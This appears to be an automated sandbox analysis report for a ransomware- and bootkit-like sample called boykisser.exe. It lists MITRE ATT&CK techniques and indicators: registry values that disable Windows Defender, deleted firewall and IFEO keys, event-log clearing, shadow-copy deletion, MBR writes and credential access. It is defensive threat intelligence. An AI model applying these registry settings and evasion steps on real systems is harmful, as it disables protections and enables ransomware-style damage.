79526720c69b7366108d418f252a41e2569eebacdbe158621c458b800f6438e7

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe

Modifies firewall policy service 3 TTPs 25 IoCs

Modify Registry

Windows Service

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\HyperVFirewallPolicy	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\Logging	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\TenantRestrictions	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile\Logging	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DynamicKeywords\Addresses\NonAutoResolve	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DynamicKeywords\Addresses	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\HyperVVMCreators	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\DynamicKeywords\Addresses	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\DynamicKeywords	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\DynamicKeywords\Addresses\AutoResolve	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\DynamicKeywords\Addresses\NonAutoResolve	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\HyperVFirewallPolicy	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedInterfaces\IfIso	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedInterfaces	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\AppIso\FirewallRules	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\AppIso	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\Configurable	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\Logging	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DynamicKeywords\Addresses\AutoResolve	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DynamicKeywords	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules	reg.exe

Modifies security service 2 TTPs 7 IoCs

Modify Registry

Windows Service

defense_evasion ransomware

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mpssvc\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe

Clears Windows event logs 1 TTPs 3 IoCs

Clear Windows Event Logs

T1070.001

pid	Process
4056	wevtutil.exe
2764	wevtutil.exe
2128	wevtutil.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 10 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2976	bcdedit.exe
3264	bcdedit.exe
6260	bcdedit.exe
2352	bcdedit.exe
3140	bcdedit.exe
1800	bcdedit.exe
4884	bcdedit.exe
6876	bcdedit.exe
5296	bcdedit.exe
3276	bcdedit.exe

Disables Task Manager via registry modification
defense_evasion

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

Disable or Modify Tools

pid	Process
7016	powershell.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 53 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenote.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PresentationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrCEF.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wordconv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excel.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieinstal.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msfeedssync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoasb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngentask.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanpst.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sdxhelper.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoxmled.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clview.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MRT.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\outlook.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\selfcert.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\splwow64.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosrec.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngen.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VirtualBoxVM.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows10universal.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ExtExport.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\graph.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ielowutil.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mscorsvw.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msohtmed.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setlang.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32Info.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powerpnt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PrintIsolationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrServicesUpdater.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cnfnot32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excelcnv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieUnatt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoadfsb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenotem.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winword.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ie4uinit.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msqry32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\orgchart.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\runtimebroker.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolsv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VirtualBox.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe	reg.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
7016	powershell.exe

Indicator Removal: Clear Persistence 1 TTPs 53 IoCs

remove IFEO.

Clear Persistence

T1070.009

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\selfcert.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VirtualBoxVM.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winword.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\graph.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieUnatt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sdxhelper.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cnfnot32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msfeedssync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msohtmed.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngentask.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\orgchart.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setlang.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolsv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32Info.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excel.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenotem.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrServicesUpdater.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ie4uinit.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoadfsb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosrec.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngen.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanpst.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\splwow64.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powerpnt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows10universal.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wordconv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excelcnv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ielowutil.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoxmled.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenote.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrCEF.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VirtualBox.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mscorsvw.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoasb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msqry32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\outlook.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PresentationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PrintIsolationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\runtimebroker.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clview.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ExtExport.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieinstal.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MRT.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanost.exe	reg.exe

Maps connected drives based on registry 3 TTPs 3 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Power Settings 1 TTPs 1 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
1436	powercfg.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	boykisser.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	reagentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	reagentc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1935666426-3801330415-1166019131-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\boykisser_wallpaper.jpg"	boykisser.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3344	sc.exe
6500	sc.exe
1428	sc.exe
3424	sc.exe
5356	sc.exe
5104	sc.exe
4960	sc.exe
4748	sc.exe
6676	sc.exe
1856	sc.exe
4788	sc.exe
3748	sc.exe
2148	sc.exe
5792	sc.exe
1368	sc.exe
6688	sc.exe
2972	sc.exe
3720	sc.exe
5904	sc.exe
2936	sc.exe
6396	sc.exe
3152	sc.exe
6656	sc.exe
832	sc.exe
2144	sc.exe
6932	sc.exe
5036	sc.exe
5264	sc.exe
52	sc.exe
5800	sc.exe
4004	sc.exe
4748	sc.exe
5852	sc.exe
5828	sc.exe
6448	sc.exe
4576	sc.exe
3344	sc.exe
1196	sc.exe
6456	sc.exe
1348	sc.exe
3596	sc.exe
2204	sc.exe
1668	sc.exe
5172	sc.exe
2128	sc.exe
2564	sc.exe
6804	sc.exe
2380	sc.exe
5736	sc.exe
5548	sc.exe
6616	sc.exe
3708	sc.exe
1752	sc.exe
3972	sc.exe
3268	sc.exe
2768	sc.exe
3436	sc.exe
4256	sc.exe
6552	sc.exe
6068	sc.exe
1816	sc.exe
5276	sc.exe
3688	sc.exe
2676	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
6408	vssadmin.exe

Modifies registry key 1 TTPs 10 IoCs

Modify Registry

pid	Process
2456	reg.exe
6460	reg.exe
3376	reg.exe
2944	reg.exe
2064	reg.exe
3984	reg.exe
4268	reg.exe
5840	reg.exe
2152	reg.exe
904	reg.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
4156	powershell.exe
4156	powershell.exe
4444	boykisser.exe
4444	boykisser.exe
4444	boykisser.exe
4444	boykisser.exe
7016	powershell.exe
7016	powershell.exe
3552	wmic.exe
3552	wmic.exe
3552	wmic.exe
3552	wmic.exe
3664	wmic.exe
3664	wmic.exe
3664	wmic.exe
3664	wmic.exe
1428	wmic.exe
1428	wmic.exe
1428	wmic.exe
1428	wmic.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4156	powershell.exe
Token: SeDebugPrivilege	7016	powershell.exe
Token: SeIncreaseQuotaPrivilege	7016	powershell.exe
Token: SeSecurityPrivilege	7016	powershell.exe
Token: SeTakeOwnershipPrivilege	7016	powershell.exe
Token: SeLoadDriverPrivilege	7016	powershell.exe
Token: SeSystemProfilePrivilege	7016	powershell.exe
Token: SeSystemtimePrivilege	7016	powershell.exe
Token: SeProfSingleProcessPrivilege	7016	powershell.exe
Token: SeIncBasePriorityPrivilege	7016	powershell.exe
Token: SeCreatePagefilePrivilege	7016	powershell.exe
Token: SeBackupPrivilege	7016	powershell.exe
Token: SeRestorePrivilege	7016	powershell.exe
Token: SeShutdownPrivilege	7016	powershell.exe
Token: SeDebugPrivilege	7016	powershell.exe
Token: SeSystemEnvironmentPrivilege	7016	powershell.exe
Token: SeRemoteShutdownPrivilege	7016	powershell.exe
Token: SeUndockPrivilege	7016	powershell.exe
Token: SeManageVolumePrivilege	7016	powershell.exe
Token: 33	7016	powershell.exe
Token: 34	7016	powershell.exe
Token: 35	7016	powershell.exe
Token: 36	7016	powershell.exe
Token: SeSystemEnvironmentPrivilege	548	svchost.exe
Token: SeIncreaseQuotaPrivilege	3552	wmic.exe
Token: SeSecurityPrivilege	3552	wmic.exe
Token: SeTakeOwnershipPrivilege	3552	wmic.exe
Token: SeLoadDriverPrivilege	3552	wmic.exe
Token: SeSystemProfilePrivilege	3552	wmic.exe
Token: SeSystemtimePrivilege	3552	wmic.exe
Token: SeProfSingleProcessPrivilege	3552	wmic.exe
Token: SeIncBasePriorityPrivilege	3552	wmic.exe
Token: SeCreatePagefilePrivilege	3552	wmic.exe
Token: SeBackupPrivilege	3552	wmic.exe
Token: SeRestorePrivilege	3552	wmic.exe
Token: SeShutdownPrivilege	3552	wmic.exe
Token: SeDebugPrivilege	3552	wmic.exe
Token: SeSystemEnvironmentPrivilege	3552	wmic.exe
Token: SeRemoteShutdownPrivilege	3552	wmic.exe
Token: SeUndockPrivilege	3552	wmic.exe
Token: SeManageVolumePrivilege	3552	wmic.exe
Token: 33	3552	wmic.exe
Token: 34	3552	wmic.exe
Token: 35	3552	wmic.exe
Token: 36	3552	wmic.exe
Token: SeIncreaseQuotaPrivilege	3552	wmic.exe
Token: SeSecurityPrivilege	3552	wmic.exe
